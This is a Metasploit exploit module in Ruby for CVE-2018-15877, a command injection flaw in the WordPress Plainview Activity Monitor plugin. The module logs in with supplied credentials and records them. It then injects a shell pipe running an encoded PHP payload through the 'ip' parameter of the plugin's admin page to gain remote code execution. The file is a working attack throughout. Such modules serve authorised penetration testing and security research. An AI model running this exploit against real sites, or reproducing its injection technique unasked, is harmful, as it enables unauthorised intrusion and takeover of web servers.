## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck Rank = ExcellentRanking def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Plainview Activity Monitor RCE', 'Description' => %q{ Plainview Activity Monitor Wordpress plugin is vulnerable to OS command injection which allows an attacker to remotely execute commands on underlying system. Application passes unsafe user supplied data to ip parameter into activities_overview.php. Privileges are required in order to exploit this vulnerability. Vulnerable plugin version: 20161228 and possibly prior Fixed plugin version: 20180826 }, 'Author' => [ 'LydA(c)ric LEFEBVRE', # Vulnerability discovery 'Leo LE BOUTER', # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2018-15877' ], [ 'EDB', '45274' ], ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'BadChars' => '&>\'', }, 'Targets' => [['WordPress', {}]], 'DisclosureDate' => '2018-08-26', 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('USERNAME', [ true, "The user to authenticate as"]), OptString.new('PASSWORD', [ true, "The password to authenticate with" ]) ] ) end def check unless wordpress_and_online? vprint_error("#{target_uri} does not seeem to be Wordpress site") return CheckCode::Unknown('Could not determine the target status') end check_plugin_version_from_readme('plainview-activity-monitor', '20180826') end def exploit user = datastore['USERNAME'] password = datastore['PASSWORD'] print_status("Trying to login...") cookie = wordpress_login(user, password) if cookie.nil? fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful") end print_good("Login Successful") store_valid_credential(user: user, private: password, proof: cookie) uri = normalize_uri(target_uri.path, 'wp-admin/admin.php') vars_get = { 'page' => 'plainview_activity_monitor', 'tab' => 'activity_tools' } vars_post = { 'ip' => "localhost | php -r '#{payload.encoded}'", 'lookup' => 'Lookup', 'submit' => 'Submit request' } send_request_cgi( 'method' => 'POST', 'cookie' => cookie, 'uri' => uri, 'vars_get' => vars_get, 'vars_post' => vars_post ) end end